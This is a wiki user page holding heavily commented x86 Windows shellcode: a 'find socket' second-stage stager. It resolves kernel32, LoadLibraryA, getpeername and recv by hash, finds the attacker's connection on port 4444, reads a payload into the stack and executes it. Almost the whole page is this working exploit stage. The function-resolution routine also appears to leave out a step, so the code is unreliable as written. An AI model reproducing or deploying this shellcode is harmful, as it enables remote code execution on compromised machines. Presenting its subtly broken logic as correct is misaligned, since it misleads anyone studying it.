Questions about this topic? Sign up to ask in the talk tab.

User:Hatter/second stage code

From NetSec
Jump to: navigation, search

239 Byte shellcode to abuse dynamic file descriptors is as follows, including TEB abuse:

<syntaxhighlight lang="asm"> findfdread: jmp startup ;skip over all the find stuff, we'll get to it find_kernel32: ;abuses TEB to find kernel32.dll push esi ;preserve ESI xor esi, esi ;zero it mov esi, fs:[esi + 0x18] ;grab the TEB and store it in ESI lodsd ;use it to ad 4 to esi, actual value doesn't matter, we're saving memory space here ;to keep it down to 11 bytes to find kernel32.dll via the TEB abuse lodsd ;grab the top of the stack from the TEB and store it in eax mov eax, [eax - 0x1c] ;grab a pointer that's 0x1c bytes (28 bytes) into the stack and store it in eax ;this will be a data segment inside of kernel32.dll 100% of the time on xp sp2/vista find_kernel32_base: find_kernel32_base_loop: dec eax ; decrement eax, if the previous value was aligned under a 64 kb boundary, then ; this will set the low 16 bits of eax to 0xffff. If not, this will just dec eax ; to an undetermined value (pulled out of the TEB) xor ax, ax ; zero out the low 16 bits of eax to force the 64kb boundary cmp word ptr [eax], 0x5a4d ; this compares the pointer value to "MZ", which is the first 2 bytes of any PE header ; MZ = 0x5a4d jne find_kernel32_base_loop ; if not equal, redo the loop, if equal, we're done, we found the base pointer of ; kernel32.dll find_kernel32_base_finished: pop esi ; fix esi back to what it was ret ; return to where we need to be...

find_function: ; this is to find symbols... pushad ; preserve all registers mov ebp, [esp + 0x24] ; store the base address of the module being loaded from ebp mov eax, [ebp + 0x3c] ; skip the DOS header, go to the PE header. mov edx, [ebp + eax + 0x78] ; the export table is 0x78 (120) bytes from the start of the PE header ; extract it and start the relative address in edx add edx, ebp ; make the EDT address (Export Directory Table) absolute by adding the base addr to it mov ecx, [edx + 0x18] ; extract the number of exported items from the EDT and store it in ecx which will ; eventually used as a counter. mov ebx, [edx + 0x20] ; extract the names table relative offset and store it in ebx add ebx, ebp ; make the names table address absolute by adding the base addr to it find_function_loop: jecxz find_function_finished ; if ecx is 0 then then the last symbol has been checked and we can end ; if this condition is ever true, then we didn't resolve the function symbol proper dec ecx ; dec the counter mov esi, [ebx + ecx * 4] ; extract the relative offset name associated with the current symbol and store it in esi add esi, ebp ; make the address of the symbol name absolute by adding base ptr to it compute_hash: xor edi, edi ; zero edi, its gonna be the symbol func name xor eax, eax ; will hold the value of each char as it steps through symbol name cld ; clear the dir flag so that it will inc in stead of dec when lods* happens compute_hash_again: lodsb ; load the Byte at esi (current symbol name) into al and inc esi test al, al ; bitwise test al to see if the end of the str was reached jz compute_hash_finished ; if ZF is set, jump to the end of the hash calculation ror edi, 0xd ; rotate has val 13 digits to the right add edi, eax ; add current str val to the hash accumulator (edi) jmp compute_hash_again ; continue to loop through the symbol name compute_hash_finished: cmp edi, [esp + 0x28] ; check to see if computed hash = requested hash jnz find_function_loop ; if hashes don't match, keep enuming the exported symbol list, ; else drop down and extract vma from the symbol mov ebx, [edx + 0x24] ; extract ordinals table relative offset store in ebx add ebx, ebp ; make ebx absolute... blah mov cx, [ebx + 2 * ecx] ; extract current symb ordinal # from the ord table, ord's are 2 bytes in size mov ebx, [edx + 0x1c] ; extract addy table rel. offset store in ebx add ebx, ebp ; make the addy table addr absolute mov [esp + 0x1c], eax ; overwrite stack copy of preserved eax register so when popad is finished ; the right eip will be set find_function_finished: popad ; restore registers ret startup: jmp shorten_find_function_forward ; jmp forward as the first step to obtain absolute addr that the scode is execing at shorten_find_function_middle: jmp shorten_find_function_end ; jmp past call to continue execing shorten_find_function_forward: call shorten_find_function_middle ; call backwards to push the absolute addr of pop esi onto the stack shorten_find_function_end: pop esi ; pop the return address off the stack into esi sub esi, 0x57 ; subtract 0x57 (87) from esi to point to the start of find_function ; hardcoded due to the limitations of inline assembler call find_kernel32 ; the address of kernel32 will be stored in eax mov edx, eax ; move the base addr of k32 in edx push 0xec0e4e8e ; push the hash of LoadLibraryA onto the stack as the second arg of find_function push edx ; push base ptr of k32 as first arg to find_function call esi ; call the find_function for LoadLibraryA in k32. VMA of the symbol will be in eax mov ebx, eax ; put the VMA into ebx load_ws2_32: xor eax, eax ; null it mov ax, 0x3233 ; move 32 into the low order bytes of eax push eax ; duh... push 0x5f327377 ; push ws2_ onto stack push esp ; push ptr to ws2_32.dll onto the stack as its called for LoadLibraryA call ebx ; Call LoadLibraryA. base addr of ws2_32 will be in eax mov edx, eax ; preserve base addr in edx load_ws2_32_syms: push 0x95066ef2 ; push hash of "getpeername" as second arg of find function push edx ; push base addr of ws2_32 in as the first arg call esi ; call find_function for getpeername, VMA will be in eax mov edi, eax ; save base ptr in edi push 0xe71819b6 ; push computed hash of recv() onto stack as second arg to find push edx ; base addr of ws2_32 as first arg call esi ; call find_function for recv push eax ; preserve vma of recv on stack for later use find_fd: sub esp, 0x14 ; alloc 20 bytes of stack space for use in getpeername mov ebp, esp ; use ebp as frame ptr for next set of func calls xor eax, eax ; null mov al, 0x10 ; set low order Byte to 16, represents the size of struct sockaddr in getpeername lea edx, [esp + eax] ; load addr of esp + 16 into edx, is the namelen arg for getpeername mov [edx], eax ; set namelen to 16 xor esi, esi ; null, this will become the fd bp find_fd_loop: inc esi ; point to the next fd to test push edx ; push namelen on the stack to preserve across funcs push edx ; 3rd arg to getpeername (namelen) push ebp ; 2nd arg to getpeername (name) push esi ; 1st arg to getpeername (fd to test) call edi ; call getpeername, if successful, eax = 0 test eax, eax ; make sure... pop edx ; restore namelen ptr as func may clobber it... jnz find_fd_loop ; if eax != 0 loop, in case of getpeername failure find_fd_check_port: cmp word ptr [esp + 0x02], 0x5c11 ; compare sin_port property of struct sockaddr_in to 4444 in netbyte order ; can be modified for whatever if you like, this is arbitrary jne find_fd_loop ; if port doesn't match, jump back to find fdloop find_fd_check_finished: add esp, 0x14 ; restore 20 bytes to stack pop edi ; pop recv ptr into edi recv_fd: xor ebx, ebx ; will be used as flags arg for recv inc eax ; make eax = 1 sal eax, 0x0d ; shift eax 13 bits to left setting it to 0x00002000 ; allocates back stack space to store payload read from fd sub esp, eax ; alloc 8192 stack bytes mov ebp, esp ; make ebp frame ref before args are pulled push ebx ; flags pushed (set to 0) push eax ; push bufferlen in as arg push ebp ; push buff ptr as buff arg push esi ; push fd from getpeername as fd arg call edi ; call recv, no err check is done here because we figure ; full buf will be read... its possible it won't be jmp_code: jmp ebp ; jmp to buff read from fd, it should now hold the second stage shellcode out of the ; socket

</syntaxhighlight>